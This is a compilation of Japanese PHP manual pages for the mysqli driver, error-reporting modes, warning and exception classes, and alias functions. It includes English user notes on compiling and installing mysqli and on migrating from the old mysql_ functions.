  • mysqli_driver::embedded_server_end — 組み込みサーバーを停止する
  • mysqli_driver::embedded_server_start — 組み込みサーバーを初期化して開始する
  • mysqli_driver::$report_mode — mysqli のエラー報告モードを設定する

User Contributed Notes

There are no user contributed notes for this page.


組み込みサーバーを停止する

  • ≪ mysqli_driver
  • mysqli_driver::embedded_server_start ≫
  • PHP Manual
  • mysqli_driver
  • 組み込みサーバーを停止する

mysqli_driver::embedded_server_end

mysqli_embedded_server_end

(PHP 5 >= 5.1.0, PHP 7 < 7.4.0)

mysqli_driver::embedded_server_end -- mysqli_embedded_server_end — 組み込みサーバーを停止する

警告

この機能は PHP 7.4.0 で 削除 されました。

説明

オブジェクト指向型

public mysqli_driver::embedded_server_end ( ) : void

手続き型

mysqli_embedded_server_end ( ) : void
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

User Contributed Notes

instatiendaweb at gmail dot com 18-Feb-2021 05:55
https://dev.mysql.com/doc/apis-php/en/apis-php-mysqli-driver.embedded-server-end.html
This function was REMOVED in PHP 7.4.0.


組み込みサーバーを初期化して開始する

  • ≪ mysqli_driver::embedded_server_end
  • mysqli_driver::$report_mode ≫
  • PHP Manual
  • mysqli_driver
  • 組み込みサーバーを初期化して開始する

mysqli_driver::embedded_server_start

mysqli_embedded_server_start

(PHP 5 >= 5.1.0, PHP 7 < 7.4.0)

mysqli_driver::embedded_server_start -- mysqli_embedded_server_start — 組み込みサーバーを初期化して開始する

警告

この機能は PHP 7.4.0 で 削除 されました。

説明

オブジェクト指向型

public mysqli_driver::embedded_server_start ( int $start , array $arguments , array $groups ) : bool

手続き型

mysqli_embedded_server_start ( int $start , array $arguments , array $groups ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

User Contributed Notes

instatiendaweb at gmail dot com 18-Feb-2021 06:00
https://dev.mysql.com/doc/apis-php/en/apis-php-mysqli-driver.embedded-server-start.html
This function was REMOVED in PHP 7.4.0.


mysqli のエラー報告モードを設定する

  • ≪ mysqli_driver::embedded_server_start
  • mysqli_warning ≫
  • PHP Manual
  • mysqli_driver
  • mysqli のエラー報告モードを設定する

mysqli_driver::$report_mode

mysqli_report

(PHP 5, PHP 7)

mysqli_driver::$report_mode -- mysqli_report — mysqli のエラー報告モードを設定する

説明

オブジェクト指向型

int $mysqli_driver->report_mode ;

手続き型

mysqli_report ( int $flags ) : bool

フラグに応じて、mysqli のエラー報告モードを設定します。 例外をスローするモードや、警告を発生させるモード、エラーを報告しないモードを設定できます。 MYSQLI_REPORT_ALL や MYSQLI_REPORT_INDEX に設定すると、 インデックスを使わない(または、インデックスの使い方が良くない) クエリも報告します。

デフォルトはの設定は MYSQLI_REPORT_OFF です。

パラメータ

flags

サポートするフラグ
名前 | 説明
MYSQLI_REPORT_OFF | レポートをオフにする(デフォルト)
MYSQLI_REPORT_ERROR | mysqli の関数呼び出しからのエラーを報告する
MYSQLI_REPORT_STRICT | 警告の代わりに mysqli_sql_exception をスローする
MYSQLI_REPORT_INDEX | クエリでインデックスを使っていない (あるいは不適切なインデックスを使っている) 場合にレポートする
MYSQLI_REPORT_ALL | すべてのオプションを設定する (すべてレポートする)

返り値

true を返します。

例

例1 オブジェクト指向型

<?php

/* レポートを有効にします。 */
$driver = new mysqli_driver();
$driver->report_mode = MYSQLI_REPORT_ALL;

try {
    /* 接続が失敗すると, mysqli_sql_exception がスローされます。*/
    $mysqli = new mysqli("localhost", "my_user", "my_password", "my_db");

    /* このクエリは、エラーを報告するはずです。 */
    $result = $mysqli->query("SELECT Name FROM Nonexistingtable WHERE population > 50000");

    /* このクエリは、カラムがインデックスを持っていた場合、エラーを報告するはずです。*/
    $result = $mysqli->query("SELECT Name FROM City WHERE population > 50000");
} catch (mysqli_sql_exception $e) {
    error_log($e->__toString());
}

例2 手続き型

<?php

/* activate reporting */
mysqli_report(MYSQLI_REPORT_ALL);

try {
    $link = mysqli_connect("localhost", "my_user", "my_password", "my_db");

    /* このクエリは、エラーを報告するはずです。 */
    $result = mysqli_query($link, "SELECT Name FROM Nonexistingtable WHERE population > 50000");

    /* このクエリは、カラムがインデックスを持っていた場合、エラーを報告するはずです。*/
    $result = mysqli_query($link, "SELECT Name FROM City WHERE population > 50000");
} catch (mysqli_sql_exception $e) {
    error_log($e->__toString());
}

例3 Error reporting except bad index errors

<?php

/* activate reporting */
mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);

try {
    /* 接続が失敗すると, mysqli_sql_exception がスローされます。*/
    $mysqli = new mysqli("localhost", "my_user", "my_password", "my_db");
    $mysqli = new mysqli("localhost", "my_user", "my_password", "my_db");

    /* このクエリは、エラーを報告するはずです。 */
    $result = $mysqli->query("SELECT Name FROM Nonexistingtable WHERE population > 50000");

    /* このクエリは、インデックスが使えなかったとしても、一切エラーを報告しません */
    $result = $mysqli->query("SELECT Name FROM City WHERE population > 50000");
} catch (mysqli_sql_exception $e) {
    error_log($e->__toString());
}

参考

  • mysqli_sql_exception
  • set_exception_handler() - ユーザー定義の例外ハンドラ関数を設定する
  • error_reporting() - 出力する PHP エラーの種類を設定する

User Contributed Notes

welfordmartin at gmail dot com 09-Sep-2020 03:26
As a recommendaton on memory management please don't use the objective way your creating an object to specify one property and thats all your doing with it, much more effective both for the parser and for memory to use the proccedual style for setting the report flag.
nineoclick (atsymbol) gmail (dot) com 16-Jun-2017 10:42
Seems not clear but flags *could be combined*, as per other flags.
For example:

<?php

# wannabe noticed about all errors except those about indexes
$driver = new mysqli_driver();
$driver->report_mode = MYSQLI_REPORT_ALL & ~MYSQLI_REPORT_INDEX;

?>


mysqli_warning クラス

(PHP 5, PHP 7)

はじめに

MySQL の警告を表します。

クラス概要

final mysqli_warning {
/* プロパティ */
public $message ;
public $sqlstate ;
public $errno ;
/* メソッド */
public next ( ) : bool
}

プロパティ

message

メッセージ文字列

sqlstate

SQL state

errno

エラー番号

目次

  • mysqli_warning::next — 次の警告を取得する

User Contributed Notes

hlopetz at gmail com 04-Feb-2013 12:51
mysqli_warning::__construct() seems protected according reflection:

== Class: mysqli_warning
Could not construct class mysqli_warning
Message: Access to non-public constructor of class mysqli_warning


次の警告を取得する

  • ≪ mysqli_warning
  • mysqli_sql_exception ≫
  • PHP Manual
  • mysqli_warning
  • 次の警告を取得する

mysqli_warning::next

(PHP 5, PHP 7)

mysqli_warning::next — 次の警告を取得する

説明

public mysqli_warning::next ( ) : bool

可能であれば、次の警告の情報を変更します。

次の警告に情報が送信されると、 mysqli_warning の 新しいプロパティ message, sqlstate および errno の値が利用可能になります。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

次の警告の取得に成功すれば true を返します。 警告がない場合は、false を返します。

User Contributed Notes

There are no user contributed notes for this page.


mysqli_sql_exception クラス

(PHP 5, PHP 7)

はじめに

mysqli の例外を処理するクラスです。

クラス概要

mysqli_sql_exception extends RuntimeException {
/* プロパティ */
protected string $sqlstate ;
/* 継承したプロパティ */
protected string $message ;
protected int $code ;
protected string $file ;
protected int $line ;
}

プロパティ

sqlstate

エラーの SQLSTATE。

User Contributed Notes

cnlyzy at qq dot com 12-May-2017 08:11
<?php
mysqli_report(MYSQLI_REPORT_STRICT);
try {
    $mysqli = new mysqli('127.0.0.1','uesr','password','testDB');
    echo 'connect success';
} catch (Exception $e) {
    echo 'ERROR:'.$e->getMessage();
}
fibrizo dot raziel at gmail dot com 02-Nov-2015 03:34
<?php  mysqli_report(MYSQLI_REPORT_STRICT) ?>
 was not enough for me to enable exception throwing. I had to write this:
<?php mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT); ?>
callforeach at gmail dot com 10-Mar-2015 01:42
Please note that MYSQLI_REPORT_STRICT does not allow certain exceptions to be trapped. I find MYSQLI_REPORT_ALL to be more friendly since it allows me to trap all errors and handle them appropriately.
polyanin at gmail dot com 18-Feb-2014 06:51
$driver = new mysqli_driver();
        $driver->report_mode = MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT;
dronebraindeveloper at gmail dot com 01-Jan-2013 01:37
Quick note on how to setup and use mysqli_sql_exceptions properly

<?php
define("MYSQL_CONN_ERROR", "Unable to connect to database.");

// Ensure reporting is setup correctly
mysqli_report(MYSQLI_REPORT_STRICT);

// Connect function for database access
function connect($usr,$pw,$db,$host) {
   try {
      $mysqli = new mysqli($host,$usr,$pw,$db);
      $connected = true;
   } catch (mysqli_sql_exception $e) {
      throw $e;
   }
}

try {
  connect('username','password','database','host');
  echo 'Connected to database';
} catch (Exception $e) {
  echo $e->errorMessage();
}
?>


エイリアスおよび非推奨の Mysqli 関数

目次

  • mysqli_connect — mysqli::__construct のエイリアス
  • mysqli_escape_string — mysqli_real_escape_string のエイリアス
  • mysqli_execute — mysqli_stmt_execute のエイリアス
  • mysqli_get_client_stats — プロセスごとのクライアントの統計を返す
  • mysqli_get_links_stats — オープン済みとキャッシュ済みのリンクに関する情報を返す
  • mysqli_report — mysqli_driver->report_mode のエイリアス
  • mysqli::set_opt — mysqli_options のエイリアス

User Contributed Notes

nulled elitscripts2000 at yahoo dot com 26-Aug-2014 01:00
If you need to install mysqli extension there is no need to recompile PHP5 pr PHP5-fpm...

apt-get install php5-mysqlnd

Will install mysql and mysqli and mysqlnd

If you compile PHP from source then yes add the -use-mysqli in compile config.

This is Debian and Ubuntu.  Or at least Ubuntu.
Daniel Sowden 08-Apr-2008 03:56
I had a problem compiling PHP 5.2.5 with mysqli enabled on Mac OS X. Whether this problem was unique to me I do not no, so I am posting this for anybody else that runs into the same problem. Configure would run right to the end, but I had it telling me something had failed and that it was likely messed up. Upon checking debug.log I noticed this:

dyld: Library not loaded: /usr/local/mysql/lib/mysql/libmysqlclient.15.dylib
Referenced from: /Users/daniel/desktop/php -5.2.5/sapi/cli/php
Reason: image not found
/bin/sh: line 1: /Users/daniel/desktop/php -5.2.5/tmp-php.ini: Permission denied
dyld: Library not loaded: /usr/local/mysql/lib/mysql/libmysqlclient.15.dylib
Referenced from: /Users/daniel/desktop/php -5.2.5/sapi/cli/php
Reason: image not found
make: [test] Error 133 (ignored)

After screwing around for an hour and screaming many profanities at my computer I looked back at the error and noticed:

"/usr/local/mysql/lib/<b>mysql/</b>libmysqlclient.15.dylib

Why it was using this path I do not know, but I headslapped when I realised how simple it was! I solved the problem by creating a link called mysql that linked back on itself:

cd /usr/local/mysql/lib
sudo ln -s ./ mysql

Problem solved! I probably should have figured out why it was doing this instead, but this was easier and saved me from allot more frustration.
swong 10-Nov-2007 07:48
If you want to extend mysqli and establish an connection with SSL authentication, the followings may be useful.
(note: not all php-mysqli supports mysqli_ssl_set())

class DataAccess extends mysqli
{
    function __construct(
          $hostname, $username, $passwd=null, $dbname=null,
          $port=null, $socket=null, $flags=null,
          $privatekey=null, $certificate=null, $caCertificate=null)
     {
           $link = parent::init();
           if ($privatekey!=null && $certificate!=null && $caCertificate!=null)
                 $link->ssl_set($privatekey, $certificate, $caCertificate,
                 dirname($caCertificate),NULL);
            parent::__construct($hostname, $username,
                 $passwd, $dbname, $port, $socket);
      }

         .....
}
marcus at synchromedia dot co dot uk 03-Oct-2007 09:27
For those having trouble getting MySQLi to work, there is another way that is set to become much more common:

http://dev.mysql.com/downloads/connector/php-mysqlnd/

This is the new MySQL native driver which has been backported from PHP6 and replaces MySQLi with a version that doesn't require any local MySQL client libraries or binaries.
smurf at smurf dot noris dot de 03-Jul-2007 05:45
Yay. No more persistent connections. I am NOT happy about that.

As soon as you get more than 250 requests per second (ever been slashdotted?) there will not be any more free TCP ports for talking to the database server, because each TCP port will be kept in TIME_WAIT for two minutes and there are only 30000 ports in the local range.

And that's not the only problem. There's also more than twice the packet rate on the network link to the database. Frankly I'd like my CPUs to spend their cycles on something producive. :-/
dan+php dot net-note-about-mysqli at obluda dot cz 27-Sep-2006 02:15
Hints for upgrading PHP code from MySQL to MySQLi:

Note - MySQLi doesn't support persistent connection. If you need it, you must implement it by self. This case is not covered in this note.

First - change all occurences of MYSQL_ to MYSQLI_ and mysql_ to mysqli_

Most of changes is required because mysqli* functions has no implicit link argument, so it need to be added explicitly if not present already. Even if it is present, most mysqli_ functions require 'link' argument as first (and mandatory) argument instead of last (and optional) as required by mysql_ functions. So, we need to change order of arguments at least.

So, you need to found names of all mysql_ functions used in your code, check if it need reoder of parameters or add the link parameter. Only *_connect() functions need review, but most scripts contain only few connect call.

If you use functions deprecated in mysql, then may not be impemented in mysqli. Those need to be reimplemented if required. In most case, it's very simple. In advance, PHP script written by carefull programer should not contain deprecated calls, so it's not problem in most cases at all.

Most of scripts I ported from mysql_ to mysqli_ can be converted by simple sed script followed by *_connect() function call review only. Especially when when programmer doesn't used the link as implicit argument and doesn't use deprecated functions the conversion of PHP source is trivial task and converted script work with no problem.

Special handling of some functions:

mysql_connect(),mysql_pconnect()
-----------------------------------------
Call with 3 or less parameters need not to be modified.
4-parameters call - delete 4th parameter as mysqli is always non-persistent
5-parameters - replace it by sequence of mysqli_init();mysqli_options();mysqli_real_connect()

mysql_create_db(), mysql_drop_db(), mysql_list_dbs(), mysql_db_name(),mysql_list_fields(), mysql_list_processes(), mysql_list_tables(), mysql_db_query(),mysql_table_name()
------------------------------------------
mysqli variant doesn't exist (those functions has been deprecated even in mysql_) but it's easy to reimplement each of it. Use apropropriate SQL command followed by standard loop for processing query results where applicable. If no connection to server yet you need to use explicit mysqli_connect call.

mysql_result()
-----------------
mysqli variant doesn't exist. Use one of mysqli_fetch_* variant (depending of type of mysql_result() third argument)

mysql_unbuffered_query()
-----------------
mysqli variant doesn't exist. Use mysqli_real_query()
chris <at> gerlt.net 07-Jul-2006 11:47
For installing mysqli extension after PHP is installed on a Linux ubuntu ( or other linux distro with apt-get such as debian, etc...):

# apt-get install php5-mysqli

NOTE: after install, you need to reboot apache
# apache2ctl graceful
Docey 08-Jun-2006 11:11
It should be noticed that mysqli does not support persistent
connections, so do not bother about implementing them
unless you got a million hits an hour on your website.

also about using both mysql and mysqli, i want to note
that under windows the best approach is to load either
mysql or mysqli at runtime not both.

i know that under php5 this is deprecated but it seems
to work fine. i used the same appoach under debian-linux
and seems to work aswell. just don't know for the
speed cost. maybe someone can benchmark this out.

just my 2 eurocents.
kronicade@yahoo 09-Mar-2006 11:42
Same problem, no solution.  I'm running Solaris sparc with mysql 4.1.12.  I've tried every config command I can think of and have modified my PATH as follows:

setenv PATH /usr/ccs/bin:
/usr/local/bin:
/usr/local/ipw/bin:
/usr/local/ipw/contrib/bin:
/sbin:/usr/sbin:
/usr/bin:
/usr/bin/X11:
/usr/ucb:
/usr/openwin/bin

./configure '--prefix=/usr/local/php' '--localstatedir=/usr/local'  '--mandir=/usr/share/man' '--with-mysqli=/usr/local/mysql/bin/mysql_config' '--includedir=/usr/lib' '--enable-shared=max'  '--enable-module=most'  '--with-imap=/usr/local/imap'  '--with-imap-ssl=/usr/local/ssl'  '--with-apxs2=/usr/local/apache2/bin/apxs'  '--enable-fastcgi'  '--enable-mbstring=all'  '--with-zlib-dir=/usr'  '--with-openssl=/usr/local/ssl'

I think it's a compatibility issue with the version of mysql running 64-bit.

-Andrew
Michael <mstclaire at myprintflow dot com> 12-Jan-2006 07:10
I was running into some random issues using the myqli extension with MySQL 5 on Mac OS X.

I discovered that when I compiled php 5 with the --with-mysqli flag, it was building php with the pre-installed MySQL 4 client libraries.

Heres how it fixed it to build php with the correct MySQL client libraries.

----------------
I had installed the binary version of MySQL 5 from MySQL AB. It installs everything in the default location /usr/local/mysql, which is fine. The MySQL version that comes with OS X ( v.4.x, depends on your OS X version ) installs the mysql_config help utility at /usr/bin/mysql_config. When php configs, it uses that one by default, inheritently using the wrong MySQL client libs.

No problem I thought, I just changed the --with-mysqli flag to --with-mysqli=/usr/local/mysql/bin/mysql_config ( or sudo find / -name mysql_config to find yours ). Nope, php throws a build error because it can't find the matching libraries. Hmmm...

So i tested /usr/local/mysql/bin/mysql_config --version, and I am shown my most current MySQL install. The problem is that the binary editions for OS X DO NOT include the shared libs ( libmysqlclient.dylib ). Oh no, I did not want to compile MySQL myself, not because I don't know how, but because MySQL AB does not recommend it, and for good reasons. Trust me, I've found out the hard way.

So what do you do? Download the source version of MySQL 5 that matches my binary version.

Configure MySQL:

./configure --enable-shared ( it's listed as ON as default, but I want to be sure )

Build MySQL:

make ( requires Developer Tools, but you knew that )

DO NOT make install !!! I repeat, DO NOT make install unless you really wish to overwrite your binary verions, which is not a good idea. ( You can configure MySQL with the --without-server flag, but I want to be certain I don't mess up )

Ok, almost done. Go to the lib directory in your MySQL build location and go to the invisible directory, .libs . There you will find your shared libraries, namely libmysqlclient.15.0.0.dylib.

Copy this to your /usr/local/mysql/lib directory. Now do the following from the lib directory:

ln -s libmysqlclient.15.0.0.dylib libmysqlclient.15.dylib
ln -s libmysqlclient.15.0.0.dylib libmysqlclient.dylib
mkdir mysql
cd mysql
ln -s ../libmysqlclient.15.0.0.dylib libmysqlclient.15.0.0.dylib
ln -s ../libmysqlclient.15.0.0.dylib libmysqlclient.15.dylib
ln -s ../libmysqlclient.15.0.0.dylib libmysqlclient.dylib

Now you can build your php with the correct library. After you build, check your phpinfo(); to validate the client version under the mysqli section. When I restarted Apache, it originally couldn't find my libraries, thus the /usr/local/mysql/lib/mysql directory.

Hope this helped.
arjen at mysql dot com 04-Aug-2005 01:26
John Coggeshall wrote a PHP5 ext/mysqli compatibility script for applications that still use the old ext/mysql functions. This prevents the hassle of trying to have both the mysql and mysqli extensions loaded in PHP5, which can be tricky.

The script is at:
http://www.coggeshall.org/oss/mysql2i/
Andrei Nazarenko 22-Feb-2005 11:21
If you are having trouble compiling PHP5 with MySQLi support on Linux and getting a message:
"configure: error: wrong mysql library version or lib not found"
and the config.log shows an error about -lnss_files being not found, here is the solution:

edit your mysql_config file and *REMOVE* all  "-lnss_files" AND "-lnss_dns" entries from it.
After that PHP should not complain anymore.
neil 10-Feb-2005 02:15
I have spent far too much time finding this answer:

Since PHP5 many many people are having installation problems.  I found many apps were broken when I upgraded to version 5.  I tried to install mysql and mysqli and had problems.

Here's the solution:

After doing:

 ./configure --with-mysql=/path/to/mysql_config --with-mysqli=/path/to/mysql_config

do this:

"
    if you want to use both the old mysql and the new mysqli interface, load the Makefile into your editor and search for the line beginning with EXTRA_LIBS; it includes -lmysqlclient twice; remove the second instance
"

then you can:

make
make install

......
Please note:  the mysql-dev must be installed or you won't have a mysql_config anywhere.  I installed the mysql-dev rpm

Further note:  the information about the Makefile's duplicate instances of "-libmysqlclient" came from Michael Kofler.  Thanks should be directed to him.  He gives more details at the following link:

http://www.kofler.cc/forum/forumthread.php?rootID=3571
php at arwin dot net 02-Feb-2005 03:32
For those having trouble compiling with both --with-mysql AND --with-mysqli, I found a solution at this URL:

http://bugs.php.net/bug.php?id=29860&edit=1

rjanson at msn dot com writes:

OK, finally an answer!

I checked Makefile and found the following line:

EXTRA_LIBS = -lcrypt -lcrypt -lmysqlclient -lpng -lz -lz -lresolv -lm
-ldl -lnsl -lxml2 -
lz -lm -lxml2 -lz -lm -lmysqlclient -lcrypt -lnsl -lm -lz -lnss_files
-lnss_dns -lresolv -lnss_files
 -lnss_dns -lresolv -lxml2 -lz -lm -lcrypt -lxml2 -lz -lm -lcrypt

By removing one of the -lmysqlclient entries on this line I was able to
successfully make and make install with both mysql and mysqli. As
confirmed by phpInfo().

I'm not sure why the other libs have multiple entries and don't cause
make to crash.
Yair Lapin 10-Nov-2004 07:28
I successed to install php support for a mysql 4.1.7 database after several attempts because the instructions are not clear.
I have a server with linux SuSe 9 enterprise with apache 1.3.31. I installed mysql from rpm files, i installed php 4.3.9 as dynamic library. this version database needs its own client library else the mysql functions in php will not work.
configuration must be as following:

./configure --with-msqli=/usr/bin/mysql_config --with-mysql=/usr  --with-apxs=/usr/local/apache/bin/apxs

 Must be installed in your machine the correct mysql librery:

MySQL-devel-4.1.7-0
MySQL-shared-4.1.7-0
nathansquires at pacbell dot net 13-Sep-2004 10:44
If you want to build php with both the Mysql and mysqli extensions, make sure your mysql distribution comes with shared libraries or build mysql yourself with shared libraries. With only static mysql libraries the compile process will fail.
severin dot kacianka at aon dot at 12-Aug-2004 03:55
I tryed Marco Kaiser's way of getting both mysql_* and mysqli_*, but it failed for me. However I could get it working this way:
First of all I installed the MySQL 4.1.3 binary disribution acourding to the manual. Then I simply passed these ./configure arguments:

--with-mysql=/path/to/mysql4.1.3
--with-mysqli=/path/to/mysql4.1.3/bin/mysql_config

This enabled both, the mysql_* and mysqli_* functions.

Severin Kacianka
philip 17-Jun-2004 03:51
A couple tutorials on the subject of mysqli:
* http://www.zend.com/php5/articles/php5-mysqli.php
* http://www.zend.com/php5/articles/php5-mysqli2.php
phoeniks[at]nm[dot]ru 08-Apr-2004 03:21
Here is a little sample to do fast hierarchical queries using new prepared statements

<?php
// Root - lowest start element
// Top  - most top element
// stack - array for storing info

function tree_rise($root, &$stack, $top = 0) {
  $mysqli = mysqli_connect('localhost', 'root');
  $top  = (int)$top;
  $stmt = mysqli_prepare($mysqli, "SELECT id, pid, title FROM news.strg WHERE id = ? LIMIT 1");
  mysqli_stmt_bind_param($stmt, "i", $root);
  mysqli_stmt_execute($stmt);
  mysqli_stmt_store_result($stmt);
  mysqli_bind_result($stmt, $id, $root, $title);

  while (mysqli_fetch($stmt)) {
    $stack[$id] = $title;
    if ($root != $top && !is_null($root)) {
      mysqli_stmt_execute($stmt);
      mysqli_stmt_store_result($stmt);
    }
  }
  return count($stack);
}
?>


mysqli::__construct のエイリアス

  • ≪ エイリアスおよび非推奨の Mysqli 関数
  • mysqli_escape_string ≫
  • PHP Manual
  • エイリアスおよび非推奨の Mysqli 関数
  • mysqli::__construct のエイリアス

mysqli_connect

(PHP 5, PHP 7)

mysqli_connect — mysqli::__construct() のエイリアス

説明

この関数は次の関数のエイリアスです。 mysqli::__construct()

注意:

mysqli の例外モードが無効な場合、かつ接続に失敗した場合、 mysqli_connect() 関数はオブジェクトではなく false を返します。 接続エラーの内容を取得するのに、 mysqli_connect_error() 関数が使えます。

User Contributed Notes

mparsa1372 at gmail dot com 12-Mar-2021 02:58
Example (MySQLi Object-Oriented)

<?php
$servername = "localhost";
$username = "username";
$password = "password";

// Create connection
$conn = new mysqli($servername, $username, $password);

// Check connection
if ($conn->connect_error) {
  die("Connection failed: " . $conn->connect_error);
}
echo "Connected successfully";
?>


mysqli_real_escape_string のエイリアス

  • ≪ mysqli_connect
  • mysqli_execute ≫
  • PHP Manual
  • エイリアスおよび非推奨の Mysqli 関数
  • mysqli_real_escape_string のエイリアス

mysqli_escape_string

(PHP 5, PHP 7)

mysqli_escape_string — mysqli_real_escape_string() のエイリアス

説明

この関数は次の関数のエイリアスです。 mysqli_real_escape_string().

User Contributed Notes

There are no user contributed notes for this page.


mysqli_stmt_execute のエイリアス

  • ≪ mysqli_escape_string
  • mysqli_get_client_stats ≫
  • PHP Manual
  • エイリアスおよび非推奨の Mysqli 関数
  • mysqli_stmt_execute のエイリアス

mysqli_execute

(PHP 5, PHP 7)

mysqli_execute — mysqli_stmt_execute() のエイリアス

説明

この関数は次の関数のエイリアスです。 mysqli_stmt_execute()

注意

注意:

mysqli_execute() は非推奨で、廃止予定です。

参考

  • mysqli_stmt_execute() - プリペアドステートメントを実行する

User Contributed Notes

There are no user contributed notes for this page.


プロセスごとのクライアントの統計を返す

  • ≪ mysqli_execute
  • mysqli_get_links_stats ≫
  • PHP Manual
  • エイリアスおよび非推奨の Mysqli 関数
  • プロセスごとのクライアントの統計を返す

mysqli_get_client_stats

(PHP 5 >= 5.3.0, PHP 7)

mysqli_get_client_stats — プロセスごとのクライアントの統計を返す

説明

mysqli_get_client_stats ( ) : array

プロセスごとのクライアントの統計を返します。 mysqlnd でのみ使用可能です。

パラメータ

返り値

成功した場合、クライアントの統計を配列で返します。 失敗した場合、false を返します。

例

例1 A mysqli_get_client_stats() の例

<?php
$link = mysqli_connect();
print_r(mysqli_get_client_stats());
?>

上の例の出力は、 たとえば以下のようになります。

Array
(
    [bytes_sent] => 43
    [bytes_received] => 80
    [packets_sent] => 1
    [packets_received] => 2
    [protocol_overhead_in] => 8
    [protocol_overhead_out] => 4
    [bytes_received_ok_packet] => 11
    [bytes_received_eof_packet] => 0
    [bytes_received_rset_header_packet] => 0
    [bytes_received_rset_field_meta_packet] => 0
    [bytes_received_rset_row_packet] => 0
    [bytes_received_prepare_response_packet] => 0
    [bytes_received_change_user_packet] => 0
    [packets_sent_command] => 0
    [packets_received_ok] => 1
    [packets_received_eof] => 0
    [packets_received_rset_header] => 0
    [packets_received_rset_field_meta] => 0
    [packets_received_rset_row] => 0
    [packets_received_prepare_response] => 0
    [packets_received_change_user] => 0
    [result_set_queries] => 0
    [non_result_set_queries] => 0
    [no_index_used] => 0
    [bad_index_used] => 0
    [slow_queries] => 0
    [buffered_sets] => 0
    [unbuffered_sets] => 0
    [ps_buffered_sets] => 0
    [ps_unbuffered_sets] => 0
    [flushed_normal_sets] => 0
    [flushed_ps_sets] => 0
    [ps_prepared_never_executed] => 0
    [ps_prepared_once_executed] => 0
    [rows_fetched_from_server_normal] => 0
    [rows_fetched_from_server_ps] => 0
    [rows_buffered_from_client_normal] => 0
    [rows_buffered_from_client_ps] => 0
    [rows_fetched_from_client_normal_buffered] => 0
    [rows_fetched_from_client_normal_unbuffered] => 0
    [rows_fetched_from_client_ps_buffered] => 0
    [rows_fetched_from_client_ps_unbuffered] => 0
    [rows_fetched_from_client_ps_cursor] => 0
    [rows_skipped_normal] => 0
    [rows_skipped_ps] => 0
    [copy_on_write_saved] => 0
    [copy_on_write_performed] => 0
    [command_buffer_too_small] => 0
    [connect_success] => 1
    [connect_failure] => 0
    [connection_reused] => 0
    [reconnect] => 0
    [pconnect_success] => 0
    [active_connections] => 1
    [active_persistent_connections] => 0
    [explicit_close] => 0
    [implicit_close] => 0
    [disconnect_close] => 0
    [in_middle_of_command_close] => 0
    [explicit_free_result] => 0
    [implicit_free_result] => 0
    [explicit_stmt_close] => 0
    [implicit_stmt_close] => 0
    [mem_emalloc_count] => 0
    [mem_emalloc_ammount] => 0
    [mem_ecalloc_count] => 0
    [mem_ecalloc_ammount] => 0
    [mem_erealloc_count] => 0
    [mem_erealloc_ammount] => 0
    [mem_efree_count] => 0
    [mem_malloc_count] => 0
    [mem_malloc_ammount] => 0
    [mem_calloc_count] => 0
    [mem_calloc_ammount] => 0
    [mem_realloc_count] => 0
    [mem_realloc_ammount] => 0
    [mem_free_count] => 0
    [proto_text_fetched_null] => 0
    [proto_text_fetched_bit] => 0
    [proto_text_fetched_tinyint] => 0
    [proto_text_fetched_short] => 0
    [proto_text_fetched_int24] => 0
    [proto_text_fetched_int] => 0
    [proto_text_fetched_bigint] => 0
    [proto_text_fetched_decimal] => 0
    [proto_text_fetched_float] => 0
    [proto_text_fetched_double] => 0
    [proto_text_fetched_date] => 0
    [proto_text_fetched_year] => 0
    [proto_text_fetched_time] => 0
    [proto_text_fetched_datetime] => 0
    [proto_text_fetched_timestamp] => 0
    [proto_text_fetched_string] => 0
    [proto_text_fetched_blob] => 0
    [proto_text_fetched_enum] => 0
    [proto_text_fetched_set] => 0
    [proto_text_fetched_geometry] => 0
    [proto_text_fetched_other] => 0
    [proto_binary_fetched_null] => 0
    [proto_binary_fetched_bit] => 0
    [proto_binary_fetched_tinyint] => 0
    [proto_binary_fetched_short] => 0
    [proto_binary_fetched_int24] => 0
    [proto_binary_fetched_int] => 0
    [proto_binary_fetched_bigint] => 0
    [proto_binary_fetched_decimal] => 0
    [proto_binary_fetched_float] => 0
    [proto_binary_fetched_double] => 0
    [proto_binary_fetched_date] => 0
    [proto_binary_fetched_year] => 0
    [proto_binary_fetched_time] => 0
    [proto_binary_fetched_datetime] => 0
    [proto_binary_fetched_timestamp] => 0
    [proto_binary_fetched_string] => 0
    [proto_binary_fetched_blob] => 0
    [proto_binary_fetched_enum] => 0
    [proto_binary_fetched_set] => 0
    [proto_binary_fetched_geometry] => 0
    [proto_binary_fetched_other] => 0
)

参考

  • Stats description

User Contributed Notes

There are no user contributed notes for this page.


オープン済みとキャッシュ済みのリンクに関する情報を返す

  • ≪ mysqli_get_client_stats
  • mysqli_report ≫
  • PHP Manual
  • エイリアスおよび非推奨の Mysqli 関数
  • オープン済みとキャッシュ済みのリンクに関する情報を返す

mysqli_get_links_stats

(PHP 5 >= 5.6.0, PHP 7)

mysqli_get_links_stats — オープン済みとキャッシュ済みのリンクに関する情報を返す

説明

mysqli_get_links_stats ( ) : array

mysqli_get_links_stats() 関数は、 オープン済みとキャッシュ済みの MySQL リンクに関する情報を返します。

パラメータ

この関数にはパラメータはありません。

返り値

mysqli_get_links_stats() 関数は、3つの要素からなる連想配列を返します。 キーは次のとおりです:

total

オープンされているリンクの合計数を示す int

active_plinks

アクティブな永続的な接続の数を示す int

cached_plinks

アクティブでない永続的な接続の数を示す int

User Contributed Notes

There are no user contributed notes for this page.


mysqli_driver->report_mode のエイリアス

  • ≪ mysqli_get_links_stats
  • mysqli::set_opt ≫
  • PHP Manual
  • エイリアスおよび非推奨の Mysqli 関数
  • mysqli_driver->report_mode のエイリアス

mysqli_report

(PHP 5, PHP 7)

mysqli_report — mysqli_driver->report_mode のエイリアス

説明

この関数は次の関数のエイリアスです。 mysqli_driver->report_mode

User Contributed Notes

Bacco 29-Oct-2017 07:12
Regarding Anthony's comment:

Since 5.2.15 the report mode is per request, not per process anymore.

http://php.net/manual/en/mysqli-driver.report-mode.php#refsect1-mysqli-driver.report-mode-changelog
grepmaster 22-Mar-2009 05:51
Hint: If you use

mysqli_report(MYSQLI_REPORT_ALL ^ MYSQLI_REPORT_STRICT)

